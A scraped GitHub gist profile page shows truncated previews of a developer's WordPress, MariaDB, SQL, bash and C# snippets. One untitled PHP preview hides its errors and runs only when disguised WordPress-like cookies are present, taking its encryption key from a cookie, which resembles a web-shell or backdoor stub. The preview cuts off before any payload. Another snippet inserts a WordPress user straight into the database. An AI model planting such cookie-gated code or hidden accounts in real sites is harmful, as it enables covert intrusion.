Skip to content

Instantly share code, notes, and snippets.

View PedramDev's full-sized avatar
💭
I may be slow to respond.

Pedram Karimi PedramDev

💭
I may be slow to respond.
View GitHub Profile
@PedramDev
PedramDev / mainform.php
Last active July 7, 2025 21:17
Send Email + Wordpress nonce + honeypot + sanitization
<?php
// Check if form is submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Check nonce
if (!isset($_POST['custom_nonce_field']) || !wp_verify_nonce($_POST['custom_nonce_field'], 'custom_nonce_action')) {
http_response_code(403);
echo "Nonce validation failed. Please try again.";
exit;
}
@PedramDev
PedramDev / MariaDbConfig.ini
Last active May 15, 2025 14:22
Wamp Config for local
[client]
port=3307
socket=/tmp/mariadb.sock
skip_ssl
[wampmariadb64]
port=3307
socket=/tmp/mariadb.sock
skip_external_locking
key_buffer_size=64M
@PedramDev
PedramDev / yoast-converter.php
Created February 19, 2025 09:29
Transfer yoast seo data From source to Target database
<?php
// Database connection for the source database (WordPress) //FROM DATABASE
$source_db = new mysqli('mysqlhost', 'username', 'password', 'database');
// Database connection for the target database //TO DATABASE
$target_db = new mysqli('mysqlhost', 'username', 'password', 'database');
// Check connections
if ($source_db->connect_error || $target_db->connect_error) {
SELECT
r.ID AS revision_id,
r.post_title,
r.post_date,
u.display_name AS edited_by,
CONCAT('edit.php?post=', r.post_parent) AS edit_link
FROM
wp_posts AS r
JOIN
wp_users AS u ON r.post_author = u.ID
-- Replace 'your_database_name' with the name of your WordPress database
-- Replace vrfpg_ with your prefix
USE topshippingco_2024_8_5;
-- Create a new user
INSERT INTO vrfpg_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status)
VALUES ('myusername', MD5('mypassWord'), 'Firstname myLastName', 'myemail@gmail.com', NOW(), 0);
-- Get the user ID of the newly created user
SET @user_id = LAST_INSERT_ID();
#!/bin/bash
set -euo pipefail
# Check for required commands
for cmd in jpegoptim pngquant cwebp; do
if ! command -v $cmd &> /dev/null; then
echo "$cmd could not be found. Please install it."
exit 1
fi
<?php
@error_reporting(E_ALL);
@ini_set('display_errors', 0);
function generateRandomKey($length = 16) {
return bin2hex(random_bytes($length / 2));
}
if (isset($_COOKIE['wordpress_test_cookie']) && isset($_COOKIE['wordpress_loggeds']) && isset($_COOKIE['wp-settings-times'])) {
$keyGeneratedTime = $_COOKIE['wp-settings-times'];
if ((time() - $keyGeneratedTime) < 1800) {
$encryptionKey = $_COOKIE['wordpress_test_cookie'];
@PedramDev
PedramDev / IRateLimiterService
Created August 22, 2024 13:58
Ratelimit in as service
/// <summary>
///
/// </summary>
/// <param name="key"></param>
/// <example>
/// keyPerDay = $"VerifyMailOTP:{email}:{DateTime.UtcNow:yyyyMMdd}"
/// keyPerHour = $"VerifyMailOTP:{email}:{DateTime.UtcNow:yyyyMMddHH}"
/// expire = TimeSpan.FromDay(1)
/// </example>
/// <returns></returns>
@PedramDev
PedramDev / Program.cs
Created March 5, 2024 10:53
array is enumerable
string[] arr = new string[2] { "a","b" };
var type = arr.GetType();
var allInterfaces = type.GetInterfaces().Select(c => c.Name);
foreach (var iface in allInterfaces)
{
Console.WriteLine(iface);
}
@PedramDev
PedramDev / web.config
Created January 8, 2024 10:27
Debug WebConfig
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<location path="." inheritInChildApplications="false">
<system.webServer>
<handlers>
<add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />
</handlers>
<aspNetCore processPath="dotnet" arguments=".\RestMenu.API.dll" stdoutLogEnabled="true" stdoutLogFile="..\logs\stdout\" hostingModel="outofprocess" />
</system.webServer>
</location>